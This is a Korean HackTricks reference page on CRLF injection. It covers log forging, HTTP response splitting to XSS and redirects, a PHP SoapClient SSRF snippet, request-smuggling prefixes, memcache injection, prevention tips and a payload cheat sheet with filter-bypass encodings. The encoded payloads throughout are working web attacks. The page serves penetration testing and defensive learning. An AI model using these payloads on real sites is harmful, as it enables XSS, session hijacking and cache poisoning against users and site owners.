# CRLF (%0D%0A) 삽입

<details>

<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>에서 <strong>AWS 해킹을 제로부터 전문가까지 배우세요</strong>!</summary>

HackTricks를 지원하는 다른 방법:

* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** Twitter에서 **@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.

</details>

<figure><img src="../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>

**버그 바운티 팁**: **해커들에 의해 만들어진 프리미엄 버그 바운티 플랫폼**인 **Intigriti**에 **가입하세요**! [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에서 오늘 가입하고 최대 **$100,000**까지 보상을 받으세요!

{% embed url="https://go.intigriti.com/hacktricks" %}

### CRLF

복귀(CR) 및 줄 바꿈(LF)은 HTTP 프로토콜에서 사용되는 특수 문자 시퀀스로, 한 줄의 끝이나 새로운 줄의 시작을 나타냅니다. 웹 서버와 브라우저는 HTTP 헤더와 응답 본문을 구분하기 위해 CRLF를 사용합니다. 이러한 문자는 Apache 및 Microsoft IIS와 같은 다양한 웹 서버 유형에서 HTTP/1.1 통신에서 보편적으로 사용됩니다.

### CRLF 삽입 취약점

CRLF 삽입은 CR 및 LF 문자를 사용자 제공 입력에 삽입하는 것을 포함합니다. 이 작업은 서버, 응용 프로그램 또는 사용자를 속여 삽입된 시퀀스를 하나의 응답의 끝과 다른 응답의 시작으로 해석하게 합니다. 이러한 문자는 본질적으로 해로운 것은 아니지만, 오용될 경우 HTTP 응답 분할 및 기타 악의적인 활동으로 이어질 수 있습니다.

### 예: 로그 파일에서의 CRLF 삽입

[여기에서 예제 확인](https://www.invicti.com/blog/web-security/crlf-http-header/)

관리자 패널의 로그 파일을 고려해보세요. 형식은 `IP - 시간 - 방문 경로`를 따릅니다. 일반적인 항목은 다음과 같을 수 있습니다:
```
123.123.123.123 - 08:15 - /index.php?page=home
```
공격자는 이 로그를 조작하기 위해 CRLF 삽입을 악용할 수 있습니다. HTTP 요청에 CRLF 문자를 삽입함으로써, 공격자는 출력 스트림을 변경하고 로그 항목을 조작할 수 있습니다. 예를 들어, 삽입된 시퀀스는 로그 항목을 다음과 같이 변형시킬 수 있습니다:
```
/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
```
여기서 `%0d`와 `%0a`는 CR과 LF의 URL 인코딩 된 형태를 나타냅니다. 공격 후 로그는 오도밍하게 표시됩니다:
```
IP - Time - Visited Path

123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
```
공격자는 악의적인 활동을 숨기기 위해 로컬호스트(일반적으로 서버 환경 내에서 신뢰할 수 있는 엔티티)가 동작한 것처럼 보이도록 합니다. 서버는 쿼리의 `%0d%0a`로 시작하는 부분을 단일 매개변수로 해석하고 `restrictedaction` 매개변수를 다른 별도의 입력으로 구문 분석합니다. 조작된 쿼리는 사실적인 관리 명령을 모방하게 됩니다: `/index.php?page=home&restrictedaction=edit`

### HTTP 응답 분할

#### 설명

HTTP 응답 분할은 공격자가 HTTP 응답 구조를 악용할 때 발생하는 보안 취약점입니다. 이 구조는 특정 문자 시퀀스, 캐리지 리턴(CR) 뒤에 라인 피드(LF)가 이어지는 CRLF로 헤더와 바디를 분리합니다. 공격자가 응답 헤더에 CRLF 시퀀스를 삽입하면 후속 응답 콘텐츠를 효과적으로 조작할 수 있습니다. 이러한 유형의 조작은 심각한 보안 문제, 특히 Cross-site Scripting (XSS)로 이어질 수 있습니다.

#### HTTP 응답 분할을 통한 XSS

1. 애플리케이션이 다음과 같이 사용자 입력을 포함하는 사용자 정의 헤더를 설정합니다: `X-Custom-Header: UserInput`
2. 애플리케이션이 `UserInput`의 값을 쿼리 매개변수에서 가져옵니다. 적절한 입력 유효성 검사와 인코딩이 부족한 상황에서 공격자는 CRLF 시퀀스를 포함한 악의적인 콘텐츠를 작성할 수 있습니다.
3. 공격자는 특별히 만들어진 'user\_input'을 포함한 URL을 작성합니다: `?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>`
* 이 URL에서 `%0d%0a%0d%0a`는 CRLFCRLF의 URL 인코딩 형식입니다. 이는 서버가 CRLF 시퀀스를 삽입하도록 속이고, 서버가 후속 부분을 응답 본문으로 처리하게 합니다.
4. 서버는 공격자의 입력을 응답 헤더에 반영하여 악의적인 스크립트가 브라우저에 의해 응답 본문의 일부로 해석되는 의도하지 않은 응답 구조로 이어집니다.

#### 리디렉션으로 이어지는 HTTP 응답 분할의 예

[https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62](https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62)

브라우저로:
```
/%0d%0aLocation:%20http://myweb.com
```
서버는 다음과 같은 헤더로 응답합니다:
```
Location: http://myweb.com
```
**다른 예시: (출처** [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)**)**
```
http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
```
#### URL 경로에서

서버의 **응답**을 제어하기 위해 **URL 경로 안에 페이로드를** 보낼 수 있습니다 (예시는 [여기](https://hackerone.com/reports/192667)에서 확인):
```
http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
```
더 많은 예제를 확인하세요:

{% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %}

### HTTP 헤더 주입

HTTP 헤더 주입은 종종 CRLF (캐리지 리턴 및 줄 바꿈) 주입을 통해 악용되며, 공격자가 HTTP 헤더를 삽입할 수 있게 합니다. 이는 XSS (크로스 사이트 스크립팅) 필터 또는 SOP (동일 출처 정책)과 같은 보안 메커니즘을 약화시킬 수 있으며, 이로 인해 CSRF 토큰과 같은 민감한 데이터에 대한 무단 액세스 또는 쿠키 심기를 통한 사용자 세션 조작이 발생할 수 있습니다.

#### HTTP 헤더 주입을 통한 CORS 악용

공격자는 HTTP 헤더를 삽입하여 CORS (교차 출처 리소스 공유)를 활성화시킬 수 있으며, SOP에 의해 부과된 제한을 우회할 수 있습니다. 이 위반으로 인해 악의적 출처의 스크립트가 다른 출처의 리소스와 상호 작용하여 보호된 데이터에 액세스할 수 있게 됩니다.

#### SSRF 및 CRLF를 통한 HTTP 요청 주입

CRLF 주입은 완전히 새로운 HTTP 요청을 작성하고 삽입하는 데 사용될 수 있습니다. 이러한 취약점의 주요 예시 중 하나는 PHP의 `SoapClient` 클래스에서 발생하는데, 특히 `user_agent` 매개변수 내부에서 발생합니다. 이 매개변수를 조작함으로써, 공격자는 추가 헤더 및 본문 내용을 삽입하거나 새로운 HTTP 요청을 완전히 삽입할 수 있습니다. 아래는 이 악용을 보여주는 PHP 예시입니다:
```php
$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);

$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);

# Put a netcat listener on port 9090
$client->__soapCall("test", []);
```
### 요청 스머글링을 위한 헤더 주입

이 기술과 잠재적인 문제에 대한 자세한 정보는 [**원본 소스를 확인하세요**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning).

초기 요청에 응답한 후 **백엔드가 연결을 열어 둔 상태를 유지하도록** 필수 헤더를 주입할 수 있습니다.
```
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
```
이후에 두 번째 요청을 지정할 수 있습니다. 이 시나리오는 일반적으로 [HTTP 요청 스머글링](http-request-smuggling/)을 포함하며, 서버가 삽입 후 추가 헤더나 본문 요소를 추가하는 기술로 다양한 보안 취약점으로 이어질 수 있는 기술입니다.

**Exploitation:**

1. **악의적인 접두사 삽입**: 이 방법은 다음 사용자의 요청이나 웹 캐시를 독점하는 것을 포함합니다. 이는 악의적인 접두사를 지정함으로써 이루어집니다. 예시:

`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1`

2. **응답 큐 독점을 위한 접두사 작성**: 이 방법은 완전한 두 번째 요청을 형성하는 데 사용되는 접두사를 생성하는 것을 포함합니다. 이는 응답 큐 독점을 유발할 수 있습니다. 예시:

`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1`

### Memcache Injection

Memcache는 **명확한 텍스트 프로토콜을 사용하는 키-값 저장소**입니다. 자세한 정보는 다음에서 확인할 수 있습니다:

{% content-ref url="../network-services-pentesting/11211-memcache/" %}
[11211-memcache](../network-services-pentesting/11211-memcache/)
{% endcontent-ref %}

**전체 정보는** [**원본 설명서**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/) **를 참조하십시오.**

플랫폼이 **HTTP 요청에서 데이터를 가져와 살균 처리하지 않고** **memcache** 서버로 **요청을 수행**하는 경우, 공격자는 이 동작을 악용하여 **새로운 memcache 명령을 삽입**할 수 있습니다.

예를 들어, 원본에서 발견된 취약점에서 캐시 키가 사용되어 사용자가 연결해야 하는 IP 및 포트를 반환하고, 공격자는 **캐시를 독점하여 피해자의 세부 정보** (사용자 이름 및 비밀번호 포함)를 공격자 서버로 보내는 **memcache 명령을 삽입**할 수 있었습니다.

<figure><img src="../.gitbook/assets/image (659).png" alt="https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/ba72cd16-2ca0-447b-aa70-5cde302a0b88/body-578d9f9f-1977-4e34-841c-ad870492328f_10.png?w=1322&#x26;h=178&#x26;auto=format&#x26;fit=crop"><figcaption></figcaption></figure>

또한, 연구원들은 memcache 응답을 비동기화하여 공격자가 모르는 사용자에게 공격자의 IP 및 포트를 보내는 것을 발견했습니다:

<figure><img src="../.gitbook/assets/image (637).png" alt="https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/c6c1f3c4-d244-4bd9-93f7-2c88f139acfa/body-3f9ceeb9-3d6b-4867-a23f-e0e50a46a2e9_14.png?w=1322&#x26;h=506&#x26;auto=format&#x26;fit=crop"><figcaption></figcaption></figure>

### 웹 애플리케이션에서 CRLF / HTTP 헤더 삽입 방지 방법

웹 애플리케이션에서 CRLF (캐리지 리턴 및 줄 바꿈) 또는 HTTP 헤더 삽입의 위험을 줄이기 위해 다음 전략을 권장합니다:

1. **응답 헤더에 직접 사용자 입력 피하기:** 가장 안전한 방법은 사용자가 제공한 입력을 직접 응답 헤더에 포함시키지 않는 것입니다.
2. **특수 문자 인코딩:** 직접 사용자 입력을 피하는 것이 불가능한 경우, 캐리지 리턴 (CR) 및 줄 바꿈 (LF)과 같은 특수 문자를 인코딩하는 데 전용 함수를 사용하십시오. 이러한 방법을 사용하면 CRLF 삽입 가능성을 방지할 수 있습니다.
3. **프로그래밍 언어 업데이트:** 웹 애플리케이션에서 사용하는 프로그래밍 언어를 정기적으로 최신 버전으로 업데이트하십시오. HTTP 헤더를 설정하는 함수 내에서 CR 및 LF 문자의 삽입을 기본적으로 금지하는 버전을 선택하십시오.

### CHEATSHEET

[여기서 치트 시트](https://twitter.com/NinadMishra5/status/1650080604174667777)
```
1. HTTP Response Splitting
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)

2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com

3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E

4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test
```
## 자동 도구

* [https://github.com/Raghavd3v/CRLFsuite](https://github.com/Raghavd3v/CRLFsuite)
* [https://github.com/dwisiswant0/crlfuzz](https://github.com/dwisiswant0/crlfuzz)

## 브루트포스 탐지 목록

* [https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/crlf.txt](https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/crlf.txt)

## 참고 자료

* [**https://www.invicti.com/blog/web-security/crlf-http-header/**](https://www.invicti.com/blog/web-security/crlf-http-header/)
* [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)
* [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
* [**https://www.netsparker.com/blog/web-security/crlf-http-header/**](https://www.netsparker.com/blog/web-security/crlf-http-header/)

<figure><img src="../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>

**버그 바운티 팁**: **Intigriti**에 가입하여 해커들이 만든 프리미엄 **버그 바운티 플랫폼**에 참여하세요! [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에서 오늘 가입하고 최대 **$100,000**의 바운티를 받아보세요!

{% embed url="https://go.intigriti.com/hacktricks" %}

<details>

<summary><strong>제로부터 AWS 해킹을 전문가로 배우세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>와 함께!</strong></summary>

HackTricks를 지원하는 다른 방법:

* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.

</details>